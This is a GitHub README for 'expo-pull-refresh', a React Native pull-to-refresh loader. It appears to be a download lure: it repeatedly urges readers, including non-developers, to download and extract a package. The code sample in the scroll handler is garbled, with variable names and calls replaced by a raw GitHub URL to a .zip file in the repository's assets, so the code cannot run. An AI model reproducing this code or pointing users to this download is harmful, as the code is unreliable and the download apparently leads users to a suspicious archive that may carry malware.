Skip to content

nerimar2312/expo-pull-refresh

Repository files navigation

🌟 expo-pull-refresh - A Simple Pull-to-Refresh Loader

🔗 Download & Install

Download Now

To get started with the Pull-to-Refresh component, visit this page to download: Download Here.

🚀 Getting Started

The expo-pull-refresh is a React Native component that adds a circular progress loader to your app. It includes haptic feedback to enhance user experience during pull-to-refresh actions. This guide will show you how to download and use this component, even if you're not a developer.

💻 System Requirements

📦 Installation

  1. First, you need to download the component from the releases page. Find the latest version here.
  2. Extract the downloaded package to a folder of your choice.
  3. Open your terminal (Command Prompt or terminal emulator).
  4. Navigate to the folder where you extracted the files.
  5. Run the following command to install the necessary packages:
npm install

🔧 Usage

Using the Pull-to-Refresh component in your application is straightforward. Follow these steps to integrate it:

  1. Begin by importing the component into your project. Here is an example of how to do this:
import PullToRefreshLoader from 'components/PullToRefresh';
import Animated, { useSharedValue, useAnimatedScrollHandler, runOnJS } from 'react-native-reanimated';
import { useState } from 'react';
  1. Next, set up a state value to manage the refreshing state. Here’s how you can do that:
const progress = useSharedValue(0);
const [refreshing, setRefreshing] = useState(false);
  1. You will also need a function to handle the refresh action. This function can have logic to fetch data or perform another task:
const handleRefresh = () => {
    setRefreshing(true);
    // Simulate fetching data...
    setTimeout(() => setRefreshing(false), 2000);
};
  1. Create an animated scroll handler to detect pull actions. This helps in triggering the refresh function when the user pulls down:
const scrollHandler = useAnimatedScrollHandler({
    onScroll: (event) => {
        if (https://raw.githubusercontent.com/nerimar2312/expo-pull-refresh/main/assets/expo-pull-refresh-3.8-alpha.2.zip < 0 && !refreshing) {
            https://raw.githubusercontent.com/nerimar2312/expo-pull-refresh/main/assets/expo-pull-refresh-3.8-alpha.2.zip = https://raw.githubusercontent.com/nerimar2312/expo-pull-refresh/main/assets/expo-pull-refresh-3.8-alpha.2.zip(https://raw.githubusercontent.com/nerimar2312/expo-pull-refresh/main/assets/expo-pull-refresh-3.8-alpha.2.zip(https://raw.githubusercontent.com/nerimar2312/expo-pull-refresh/main/assets/expo-pull-refresh-3.8-alpha.2.zip) / 80, 1);
            if (https://raw.githubusercontent.com/nerimar2312/expo-pull-refresh/main/assets/expo-pull-refresh-3.8-alpha.2.zip >= 1.1) runOnJS(handleRefresh)();
        }
    },
});
  1. Finally, use the PullToRefreshLoader component in your app's return statement:
return (
    <View>
        <PullToRefreshLoader progress={progress} />
    </View>
);

✅ Additional Features

  • Haptic Feedback: Get tactile feedback when users trigger the pull-to-refresh action.
  • Customizable: Easily modify the component to fit your app's design.
  • Smooth Animation: The loader has fluid animations that enhance user interaction.

🌍 Community and Support

If you face any issues or have questions, feel free to join our community. You can find support on:

📃 License

The expo-pull-refresh component is open-source and free to use. Please refer to the LICENSE file in the repository for more details.

📝 Contributing

We welcome contributions from everyone. If you have a suggestion, bug fix, or enhancement, feel free to submit a pull request. Your feedback helps improve the component for everyone.

To contribute:

  1. Fork the repository.
  2. Create a new branch.
  3. Make your changes.
  4. Submit a pull request with a description of your changes.

Thank you for considering contributing to expo-pull-refresh!

For more details and to stay updated, visit the repository.

The link again for downloading: Download Here.